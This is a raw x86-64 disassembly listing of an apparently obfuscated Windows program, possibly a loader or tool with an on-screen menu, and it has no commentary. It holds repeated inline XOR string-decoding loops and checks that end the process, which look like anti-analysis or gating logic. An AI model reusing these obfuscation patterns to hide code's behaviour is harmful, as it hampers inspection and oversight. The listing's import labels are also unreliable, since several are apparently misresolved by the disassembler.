mov rcx, qword [rbp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400409a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140042e13
call fcn.14005e360
movdqa xmm0, xmmword [0x14030cd00]
movdqu xmmword [rbp + 0x300], xmm0
mov byte [rbp + 0x2f0], sil
mov rdx, qword [rbp + 0x130]
cmp rdx, r15
jb 0x140040a04
inc rdx
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400409ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140042e19
call fcn.14005e360
call fcn.140009468
movss xmm0, dword [0x14030cb94]
movss dword [rsp + 0x40], xmm0
movss xmm1, dword [0x14030cc64]
movss dword [rsp + 0x44], xmm1
lea rcx, [rsp + 0x40]
call fcn.14000f0d0
movsd xmm3, qword [str.O_IOTQQzd1C]
movsd qword [rsp + 0x70], xmm3
movzx eax, word [0x14030a4e0]
mov word [rsp + 0x78], ax
mov al, byte [0x14030a4e2]
mov byte [rsp + 0x7a], al
mov r8d, esi
lea r9, [rsp + 0x70]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, bl
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0xb
jl 0x140040a5b
lea rcx, [0x140332738]
call fcn.140039ec8
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.14002d6cc
movss xmm0, dword [0x14030cc18]
movss dword [rsp + 0x40], xmm0
movss xmm1, dword [0x14030cc60]
movss dword [rsp + 0x44], xmm1
lea rcx, [rsp + 0x40]
call fcn.14000f0d0
mov ecx, dword [str.qmrx_a_]
mov dword [rsp + 0x68], ecx
movzx eax, word [0x140309f5c]
mov word [rsp + 0x6c], ax
mov r8d, esi
lea r9, [rsp + 0x68]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, bl
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 6
jl 0x140040ae6
lea rcx, [rsp + 0x68]
call fcn.14002d6cc
movss xmm0, dword [0x14030cc30]
movss dword [rsp + 0x40], xmm0
movss xmm1, dword [0x14030cc5c]
movss dword [rsp + 0x44], xmm1
lea rcx, [rsp + 0x40]
call fcn.14000f0d0
movss xmm0, dword [0x14030cc68]
call fcn.14000f148
lea rcx, [0x140332758]
call fcn.140039ec8
mov rdi, rax
movzx ecx, word [0x14030a038]
mov word [rsp + 0x48], cx
mov cl, byte [0x14030a03a]
mov byte [rsp + 0x4a], cl
lea r8, [rsp + 0x48]
mov eax, r13d
mul esi
mov ecx, esi
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 5
movsx eax, cl
imul ecx, eax, 0x38
mov al, sil
sub al, cl
add al, bl
xor byte [r8], al
add esi, r14d
add r8, r14
cmp esi, 3
jl 0x140040b7b
mov rdx, rdi
lea rcx, [rsp + 0x48]
call fcn.140030114
mov rcx, rdi
call fcn.14005f020
jmp 0x140042d44
mov eax, dword [0x140339810]
add eax, r14d
mov dword [0x140339810], eax
mov byte [0x1403363fb], r14b
cmp eax, 5
jl 0x140040a04
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov r14d, 1
cmp al, r14b
jne 0x140042d44
lea r15d, [r14 + 0xf]
cmp qword [0x1403328c0], rsi
jne 0x140040c14
mov byte [0x1403363fd], r14b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
movzx eax, byte [reloc.WS2_32.dll_accept]
mov ecx, eax
cmp al, r14b
cmove ecx, esi
mov byte [reloc.WS2_32.dll_accept], cl
call fcn.14003aea0
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
movaps xmm1, xmmword [0x14030d040]
movups xmmword [rbp + 0x1a0], xmm1
mov dword [rsp + 0x40], 0x3f800000
mov dword [rsp + 0x44], 0x3f800000
and dword [rbp + 0x118], esi
and dword [rbp + 0x11c], esi
mov dword [rbp - 0x80], 0x43020000
mov dword [rbp - 0x7c], 0x42aa0000
lea rax, [rbp + 0x160]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x40]
lea r8, [rbp + 0x118]
lea rdx, [rbp - 0x80]
call fcn.14002eee8
mov dword [rsp + 0x40], 0x418c0000
movss xmm1, dword [0x14030cc14]
movss dword [rsp + 0x44], xmm1
lea rcx, [rsp + 0x40]
call fcn.14000f0d0
mov dword [rsp + 0x40], 0x42d60000
mov dword [rsp + 0x44], 0x42280000
mov rax, qword [0x14030a1d0]
mov qword [rbp + 0x118], rax
mov r13d, 0x24924925
mov dil, reloc.WS2_32.dll_gethostname
cmp byte [0x14030a1d7], sil
je 0x140040d26
mov r8d, esi
lea r9, [rbp + 0x118]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 8
jl 0x140040cf7
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x118]
call fcn.14002dd64
mov ecx, dword [0x140336438]
test al, al
cmovne ecx, esi
mov dword [0x140336438], ecx
mov dword [rsp + 0x40], 0x418c0000
movss xmm0, dword [0x14030cc38]
movss dword [rsp + 0x44], xmm0
lea rcx, [rsp + 0x40]
call fcn.14000f0d0
mov dword [rsp + 0x40], 0x42d60000
mov dword [rsp + 0x44], 0x42280000
mov rax, qword [0x14030b8a8]
mov qword [rbp + 0x118], rax
cmp byte [0x14030b8af], sil
je 0x140040dc8
mov r8d, esi
lea r9, [rbp + 0x118]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 8
jl 0x140040d99
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x118]
call fcn.14002dd64
mov ecx, dword [0x140336438]
test al, al
cmovne ecx, r14d
mov dword [0x140336438], ecx
mov dword [rsp + 0x40], 0x418c0000
movss xmm0, dword [0x14030cc4c]
movss dword [rsp + 0x44], xmm0
lea rcx, [rsp + 0x40]
call fcn.14000f0d0
mov dword [rsp + 0x40], 0x42d60000
mov dword [rsp + 0x44], 0x42280000
movsd xmm3, qword [0x14030a870]
movsd qword [rsp + 0x50], xmm3
mov al, byte [0x14030a878]
mov byte [rsp + 0x58], al
mov r8d, esi
lea r9, [rsp + 0x50]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 9
jl 0x140040e3b
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.14002dd64
mov ecx, dword [0x140336438]
mov ebx, 2
test al, al
cmovne ecx, ebx
mov dword [0x140336438], ecx
mov dword [rsp + 0x40], 0x418c0000
movss xmm0, dword [0x14030cc58]
movss dword [rsp + 0x44], xmm0
lea rcx, [rsp + 0x40]
call fcn.14000f0d0
mov dword [rsp + 0x40], 0x42d60000
mov dword [rsp + 0x44], 0x42280000
mov rax, qword [0x14030a8c8]
mov qword [rbp + 0x118], rax
cmp byte [0x14030a8cf], sil
je 0x140040f0f
mov r8d, esi
lea r9, [rbp + 0x118]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 8
jl 0x140040ee0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x118]
call fcn.14002dd64
test al, al
je 0x140040f2d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov r12d, 0x80
cmp dword [0x140336438], esi
jne 0x140041077
mov rcx, qword [0x140336420]
call fcn.14000e878
movss xmm0, dword [0x14030cc2c]
movss dword [rsp + 0x40], xmm0
movss xmm1, dword [0x14030cbbc]
movss dword [rsp + 0x44], xmm1
lea rcx, [rsp + 0x40]
call fcn.14000f0d0
movss xmm0, dword [0x14030cc48]
call fcn.14000f148
movups xmm0, xmmword [0x14030a630]
movups xmmword [rbp + 0x1c0], xmm0
movups xmm1, xmmword [0x14030a640]
movups xmmword [rbp + 0x1d0], xmm1
movzx eax, word [0x14030a650]
mov word [rbp + 0x1e0], ax
mov r8d, esi
lea r9, [rbp + 0x1c0]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0x22
jl 0x140040fb2
movzx eax, word [0x14030a038]
mov word [rsp + 0x48], ax
mov al, byte [0x14030a03a]
mov byte [rsp + 0x4a], al
mov r8d, esi
lea r9, [rsp + 0x48]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 3
jl 0x140040fff
and dword [rsp + 0x40], esi
and dword [rsp + 0x44], esi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], reloc.WLDAP32.dll_Ordinal_32
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, r12d
lea r8, [0x1403398a0]
lea rdx, [rbp + 0x1c0]
lea rcx, [rsp + 0x48]
call fcn.1400319d4
call fcn.14000f1e8
call fcn.14000e910
movaps xmm0, xmmword [0x14030d000]
movups xmmword [rbp + 0x160], xmm0
lea rdx, [rbp + 0x160]
xor ecx, ecx
call fcn.140003494
movss xmm0, dword [0x14030cc84]
movss dword [rsp + 0x40], xmm0
movss xmm1, dword [0x14030cbc8]
movss dword [rsp + 0x44], xmm1
lea rcx, [rsp + 0x40]
call fcn.14000f0d0
movups xmm0, xmmword [0x1403328b0]
movaps xmmword [rbp + 0x1c0], xmm0
movups xmm1, xmmword [0x1403328c0]
movaps xmmword [rbp + 0x1d0], xmm1
movsd xmm0, qword [0x14030a560]
movsd qword [rsp + 0x50], xmm0
mov al, byte [0x14030a568]
mov byte [rsp + 0x58], al
mov r8d, esi
lea r9, [rsp + 0x50]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 9
jl 0x1400410f5
lea rdx, [rbp + 0x1c0]
lea rcx, [rsp + 0x50]
call fcn.14002d6cc
mov ecx, r14d
call fcn.1400034f0
movss xmm1, dword [0x14030cb8c]
movss dword [rsp + 0x40], xmm1
movss xmm2, dword [0x14030cc80]
movss dword [rsp + 0x44], xmm2
lea rcx, [rsp + 0x40]
call fcn.14000f0d0
movsd xmm3, qword [str.O_IOTQQzd1C]
movsd qword [rsp + 0x70], xmm3
movzx eax, word [0x14030a4e0]
mov word [rsp + 0x78], ax
mov al, byte [0x14030a4e2]
mov byte [rsp + 0x7a], al
mov r8d, esi
lea r9, [rsp + 0x70]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0xb
jl 0x14004118f
lea rcx, [0x140332738]
call fcn.140039ec8
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.14002d6cc
movss xmm0, dword [0x14030cc20]
movss dword [rsp + 0x40], xmm0
movss xmm1, dword [0x14030cbe4]
movss dword [rsp + 0x44], xmm1
lea rcx, [rsp + 0x40]
call fcn.14000f0d0
movss xmm3, dword [0x14030cc8c]
movss dword [rsp + 0x40], xmm3
movss xmm4, dword [0x14030cc74]
movss dword [rsp + 0x44], xmm4
mov dword [rsp + 0x20], esi
mov r9b, r14b
lea r8, [rsp + 0x40]
mov edx, reloc.WLDAP32.dll_Ordinal_26
xor ecx, ecx
call fcn.140009268
mov eax, dword [0x140336438]
test eax, eax
jne 0x14004253e
lea rcx, [rbp + 0x310]
call fcn.14003f33c
nop
mov r8d, esi
mov dword [rbp + 0xf4], esi
cmp dword [0x14033643c], esi
jle 0x1400422d0
mov qword [rsp + 0x40], rsi
mov dword [rbp - 8], 0x40e00000
movss xmm0, dword [0x14030cc88]
movss dword [rbp], xmm0
movss xmm1, dword [0x14030cbec]
movss dword [rbp + 4], xmm1
and dword [rbp + 8], esi
and dword [rbp + 0xc], esi
movss xmm0, dword [0x14030cba8]
movss dword [rbp - 0x10], xmm0
mov dword [rbp - 0xc], 0x41cc0000
mov dword [rbp + 0x10], 0x43218000
movss xmm0, dword [0x14030cb74]
movss dword [rbp + 0x14], xmm0
mov r12d, reloc.WS2_32.dll_ntohs
lea rbx, [0x140000000]
movss xmm6, dword [0x14030ccb8]
movd xmm0, r8d
cvtdq2ps xmm0, xmm0
mulss xmm0, dword [0x14030cbf8]
addss xmm0, dword [0x14030cb80]
movss dword [rbp - 4], xmm0
lea rcx, [rbp - 8]
call fcn.14000f0d0
lea edx, [r8 + 0x32]
mov dword [rsp + 0x20], Ordinal_301
xor r9d, r9d
lea r8, [rbp]
xor ecx, ecx
call fcn.140009268
lea rcx, [rbp + 8]
call fcn.14000f0d0
call fcn.14002f7b0
mov rcx, qword [0x140336420]
call fcn.14000e878
lea rcx, [rbp - 0x10]
call fcn.14000f0d0
movzx ecx, word [0x14030bae0]
mov word [rsp + 0x48], cx
mov al, byte [0x14030bae2]
mov byte [rsp + 0x4a], al
mov r8d, esi
lea r9, [rsp + 0x48]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 3
jl 0x14004134b
mov edx, dword [rbp + 0xf4]
lea rcx, [rsp + 0x48]
call fcn.14002d6cc
lea rcx, [rbp + 0x10]
call fcn.14000f0d0
movsd xmm3, qword [0x14030a520]
movsd qword [rbp + 0x1a0], xmm3
mov eax, dword [0x14030a528]
mov dword [rbp + 0x1a8], eax
movzx eax, word [0x14030a52c]
mov word [rbp + 0x1ac], ax
cmp byte [0x14030a52d], sil
je 0x1400413ff
mov r8d, esi
lea r9, [rbp + 0x1a0]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0xe
jl 0x1400413d0
movsxd rax, dword [rbp + 0xf4]
shl rax, 5
mov qword [rsp + 0x50], rax
lea rcx, [rax + 0x338490]
add rcx, rbx
call fcn.140039ec8
mov rdx, rax
lea rcx, [rbp + 0x1a0]
call fcn.14002d6cc
mov rax, qword [str.v_PTPZ_]
mov qword [rbp + 0x118], rax
cmp byte [0x14030a1cf], sil
je 0x14004147d
mov r8d, esi
lea r9, [rbp + 0x118]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 8
jl 0x14004144e
mov rax, qword [rsp + 0x40]
shl rax, 5
mov qword [rbp + 0xf8], rax
lea rbx, [rbx + 0x3371d0]
add rbx, rax
lea rcx, [rbp + 0x118]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], sil
jne 0x1400414a2
mov rcx, rbx
cmp qword [rbx + 0x18], r15
jb 0x1400414b7
mov rcx, qword [rbx]
mov r8, qword [rbx + 0x10]
cmp r8, rax
jne 0x140041733
lea rdx, [rbp + 0x118]
call fcn.14012e520
test eax, eax
jne 0x140041733
mov dword [rbp + 0x18], 0x43218000
mov dword [rbp + 0x1c], 0x41cc0000
lea rcx, [rbp + 0x18]
call fcn.14000f0d0
movups xmm0, xmmword [0x14030a5a8]
movups xmmword [rbp + 0x270], xmm0
movups xmm1, xmmword [0x14030a5b8]
movups xmmword [rbp + 0x280], xmm1
mov eax, dword [0x14030a5c8]
mov dword [rbp + 0x290], eax
movzx eax, word [0x14030a5cc]
mov word [rbp + 0x294], ax
mov al, byte [0x14030a5ce]
mov byte [rbp + 0x296], al
mov r8d, esi
lea r9, [rbp + 0x270]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0x27
jl 0x14004153b
lea rcx, [rbp + 0x270]
call fcn.14002d6cc
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.14000f020
movaps xmm0, xmmword [0x14030cec0]
movups xmmword [rbp + 0xf8], xmm0
lea rdx, [rbp + 0xf8]
xor ecx, ecx
call fcn.140003494
movups xmm0, xmmword [0x14030c258]
movups xmmword [rbp - 0x68], xmm0
movups xmm1, xmmword [0x14030c268]
movups xmmword [rbp - 0x58], xmm1
movzx eax, word [0x14030c278]
mov word [rbp - 0x48], ax
mov r8d, esi
lea r9, [rbp - 0x68]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0x22
jl 0x1400415c5
lea rcx, [rbp - 0x68]
call fcn.14002d6cc
mov rcx, qword [0x140336440]
call fcn.14000e878
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.14000f020
lea rcx, [0x14030b560]
call fcn.14002d6cc
call fcn.14000e910
mov ecx, r14d
call fcn.1400034f0
mov rcx, qword [0x140336440]
call fcn.14000e878
mov dword [rbp + 0x20], 0x43e64000
mov dword [rbp + 0x24], 0x41800000
lea rcx, [rbp + 0x20]
call fcn.14000f0d0
movaps xmm0, xmmword [0x14030cea0]
movups xmmword [rbp + 0xf8], xmm0
lea rdx, [rbp + 0xf8]
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.140003494
movaps xmm0, xmmword [0x14030cea0]
movups xmmword [rbp + 0xf8], xmm0
lea rdx, [rbp + 0xf8]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
call fcn.140003494
movaps xmm0, xmmword [0x14030cea0]
movups xmmword [rbp + 0xf8], xmm0
lea rdx, [rbp + 0xf8]
mov ecx, reloc.WS2_32.dll_socket
call fcn.140003494
mov dword [rbp + 0x28], 0x42be0000
mov dword [rbp + 0x2c], 0x41f00000
movsd xmm0, qword [0x14030a3f0]
movsd qword [rbp + 0x240], xmm0
movzx eax, word [0x14030a3f8]
mov word [rbp + 0x248], ax
mov al, byte [0x14030a3fa]
mov byte [rbp + 0x24a], al
mov r8d, esi
lea r9, [rbp + 0x240]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0xb
jl 0x1400416ef
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x240]
call fcn.14002dd64
jmp 0x1400421ae
mov eax, dword [str.jUTR]
mov dword [rsp + 0x68], eax
mov al, byte [0x14030af1c]
mov byte [rsp + 0x6c], al
mov r8d, esi
lea r9, [rsp + 0x68]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 5
jl 0x14004174f
lea rcx, [rsp + 0x68]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], sil
jne 0x140041787
mov rcx, rbx
cmp qword [rbx + 0x18], r15
jb 0x14004179c
mov rcx, qword [rbx]
mov r8, qword [rbx + 0x10]
cmp r8, rax
jne 0x140041a1b
lea rdx, [rsp + 0x68]
call fcn.14012e520
test eax, eax
jne 0x140041a1b
mov dword [rbp + 0x30], 0x43218000
mov dword [rbp + 0x34], 0x41cc0000
lea rcx, [rbp + 0x30]
call fcn.14000f0d0
movups xmm0, xmmword [0x14030a5a8]
movups xmmword [rbp + 0x2c0], xmm0
movups xmm1, xmmword [0x14030a5b8]
movups xmmword [rbp + 0x2d0], xmm1
mov eax, dword [0x14030a5c8]
mov dword [rbp + 0x2e0], eax
movzx eax, word [0x14030a5cc]
mov word [rbp + 0x2e4], ax
mov al, byte [0x14030a5ce]
mov byte [rbp + 0x2e6], al
mov r8d, esi
lea r9, [rbp + 0x2c0]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0x27
jl 0x14004181e
lea rcx, [rbp + 0x2c0]
call fcn.14002d6cc
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.14000f020
movaps xmm0, xmmword [0x14030cf00]
movups xmmword [rbp + 0xf8], xmm0
lea rdx, [rbp + 0xf8]
xor ecx, ecx
call fcn.140003494
movups xmm0, xmmword [0x14030a880]
movups xmmword [rbp + 0x220], xmm0
movsd xmm1, qword [0x14030a890]
movsd qword [rbp + 0x230], xmm1
movzx eax, word [0x14030a898]
mov word [rbp + 0x238], ax
mov al, byte [0x14030a89a]
mov byte [rbp + 0x23a], al
mov r8d, esi
lea r9, [rbp + 0x220]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0x1b
jl 0x1400418c2
lea rcx, [rbp + 0x220]
call fcn.14002d6cc
mov rcx, qword [0x140336440]
call fcn.14000e878
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.14000f020
lea rcx, [0x14030b5d8]
call fcn.14002d6cc
call fcn.14000e910
mov ecx, r14d
call fcn.1400034f0
mov rcx, qword [0x140336440]
call fcn.14000e878
mov dword [rbp + 0x38], 0x43e64000
mov dword [rbp + 0x3c], 0x41800000
lea rcx, [rbp + 0x38]
call fcn.14000f0d0
movaps xmm0, xmmword [0x14030cea0]
movups xmmword [rbp + 0xf8], xmm0
lea rdx, [rbp + 0xf8]
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.140003494
movaps xmm0, xmmword [0x14030cea0]
movups xmmword [rbp + 0xf8], xmm0
lea rdx, [rbp + 0xf8]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
call fcn.140003494
movaps xmm0, xmmword [0x14030cea0]
movups xmmword [rbp + 0xf8], xmm0
lea rdx, [rbp + 0xf8]
mov ecx, reloc.WS2_32.dll_socket
call fcn.140003494
mov dword [rbp + 0x40], 0x42be0000
mov dword [rbp + 0x44], 0x41f00000
mov rax, qword [0x14030a8a0]
mov qword [rbp + 0x118], rax
cmp byte [0x14030a8a7], sil
je 0x140041a0b
mov r8d, esi
lea r9, [rbp + 0x118]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 8
jl 0x1400419dc
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x118]
jmp 0x140041729
mov eax, dword [str.vTWUS__]
mov dword [rbp - 0x80], eax
movzx eax, word [0x14030b69c]
mov word [rbp - 0x7c], ax
mov al, byte [0x14030b69e]
mov byte [rbp - 0x7a], al
mov r8d, esi
lea r9, [rbp - 0x80]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 7
jl 0x140041a3f
lea rcx, [rbp - 0x80]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], sil
jne 0x140041a76
mov rcx, rbx
cmp qword [rbx + 0x18], r15
jb 0x140041a8b
mov rcx, qword [rbx]
mov r8, qword [rbx + 0x10]
cmp r8, rax
jne 0x1400421cb
lea rdx, [rbp - 0x80]
call fcn.14012e520
test eax, eax
jne 0x1400421cb
mov dword [rbp + 0x60], 0x43218000
mov dword [rbp + 0x64], 0x41cc0000
lea rcx, [rbp + 0x60]
call fcn.14000f0d0
movups xmm0, xmmword [0x14030a5a8]
movups xmmword [rbp + 0x298], xmm0
movups xmm1, xmmword [0x14030a5b8]
movups xmmword [rbp + 0x2a8], xmm1
mov eax, dword [0x14030a5c8]
mov dword [rbp + 0x2b8], eax
movzx eax, word [0x14030a5cc]
mov word [rbp + 0x2bc], ax
mov al, byte [0x14030a5ce]
mov byte [rbp + 0x2be], al
mov r8d, esi
lea r9, [rbp + 0x298]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0x27
jl 0x140041b0c
lea rcx, [rbp + 0x298]
call fcn.14002d6cc
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.14000f020
movaps xmm0, xmmword [0x14030cef0]
movups xmmword [rbp + 0x118], xmm0
lea rdx, [rbp + 0x118]
xor ecx, ecx
call fcn.140003494
movsd xmm0, qword [0x14030a6e8]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x14030a6f0]
mov dword [rbp - 0x38], eax
mov al, byte [0x14030a6f4]
mov byte [rbp - 0x34], al
mov r8d, esi
lea r9, [rbp - 0x40]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0xd
jl 0x140041b94
lea rcx, [rbp - 0x40]
call fcn.14002d6cc
mov rcx, qword [0x140336440]
call fcn.14000e878
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.14000f020
lea rcx, [0x14030b5dc]
call fcn.14002d6cc
call fcn.14000e910
mov ecx, r14d
call fcn.1400034f0
mov rcx, qword [0x140336440]
call fcn.14000e878
mov rax, qword [rbp + 0xf8]
lea rcx, [0x140000000]
lea rax, [rax + 0x336490]
add rax, rcx
mov rcx, rax
cmp qword [rax + 0x18], r15
jb 0x140041c2c
mov rcx, qword [rax]
cmp qword [rax + 0x10], r14
jne 0x140041d3c
cmp byte [rcx], 0x30
jne 0x140041c3f
mov eax, esi
jmp 0x140041c44
sbb eax, eax
or eax, r14d
test eax, eax
jne 0x140041d3c
movaps xmm0, xmmword [0x14030cea0]
movups xmmword [rbp + 0xf8], xmm0
lea rdx, [rbp + 0xf8]
lea ecx, [rax + 0x15]
call fcn.140003494
movaps xmm0, xmmword [0x14030cea0]
movups xmmword [rbp + 0xf8], xmm0
lea rdx, [rbp + 0xf8]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
call fcn.140003494
movaps xmm0, xmmword [0x14030cea0]
movups xmmword [rbp + 0xf8], xmm0
lea rdx, [rbp + 0xf8]
mov ecx, reloc.WS2_32.dll_socket
call fcn.140003494
movss xmm1, dword [0x14030cb90]
mov ecx, listen
call fcn.140003530
mov dword [rbp + 0x48], 0x43e64000
mov dword [rbp + 0x4c], 0x41800000
lea rcx, [rbp + 0x48]
call fcn.14000f0d0
mov dword [rbp + 0x50], 0x42be0000
mov dword [rbp + 0x54], 0x41f00000
movsd xmm3, qword [0x14030c1b0]
movsd qword [rbp - 0x20], xmm3
mov al, byte [0x14030c1b8]
mov byte [rbp - 0x18], al
mov r8d, esi
lea r9, [rbp - 0x20]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 9
jl 0x140041cfb
lea rdx, [rbp + 0x50]
lea rcx, [rbp - 0x20]
call fcn.14002dd64
jmp 0x1400421a6
movaps xmm0, xmmword [0x14030cf50]
movups xmmword [rbp + 0xf8], xmm0
lea rdx, [rbp + 0xf8]
mov ecx, reloc.WS2_32.dll_setsockopt
